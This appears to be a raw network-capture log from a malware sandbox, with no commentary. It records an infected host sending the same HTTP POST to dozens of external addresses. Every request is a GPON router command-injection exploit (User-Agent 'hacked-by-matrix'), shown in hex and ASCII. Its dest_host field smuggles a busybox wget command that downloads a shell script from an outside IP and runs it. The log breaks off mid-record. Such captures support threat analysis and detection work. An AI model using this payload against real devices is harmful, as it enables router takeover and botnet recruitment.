Mar 2, 2024 12:36:51.845557928 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
188	192.168.2.23	51938	37.158.181.158	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.845585108 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
189	192.168.2.23	34060	109.76.52.103	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.845602989 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
190	192.168.2.23	56328	5.70.62.210	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.845613956 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
191	192.168.2.23	39982	118.152.182.174	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.845634937 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
192	192.168.2.23	52008	2.102.65.75	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.845663071 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
193	192.168.2.23	43968	178.157.38.254	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.845684052 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
194	192.168.2.23	60902	94.104.160.184	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.848151922 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
195	192.168.2.23	46770	79.181.55.183	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.848151922 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
196	192.168.2.23	41696	118.205.80.115	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.848179102 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
197	192.168.2.23	40670	118.227.41.240	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.848191977 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
198	192.168.2.23	45518	94.217.214.213	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.848215103 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
199	192.168.2.23	48422	109.251.121.200	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.848228931 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
200	192.168.2.23	54794	178.8.228.135	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.848258018 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
201	192.168.2.23	50376	178.189.27.71	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.848274946 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
202	192.168.2.23	35364	42.215.7.191	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.848306894 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
203	192.168.2.23	33632	212.58.113.255	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.848320007 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
204	192.168.2.23	46066	79.60.47.49	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.848334074 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
205	192.168.2.23	55008	212.164.186.86	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.848352909 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
206	192.168.2.23	37908	42.65.34.202	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.848361969 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
207	192.168.2.23	42388	118.20.118.179	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.848381042 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
208	192.168.2.23	56932	94.12.46.113	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.848409891 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
209	192.168.2.23	49334	2.197.229.151	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.848473072 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
210	192.168.2.23	57328	42.254.247.204	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.848481894 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
211	192.168.2.23	51212	79.58.18.249	443

Timestamp	Bytes transferred	Direction	Data
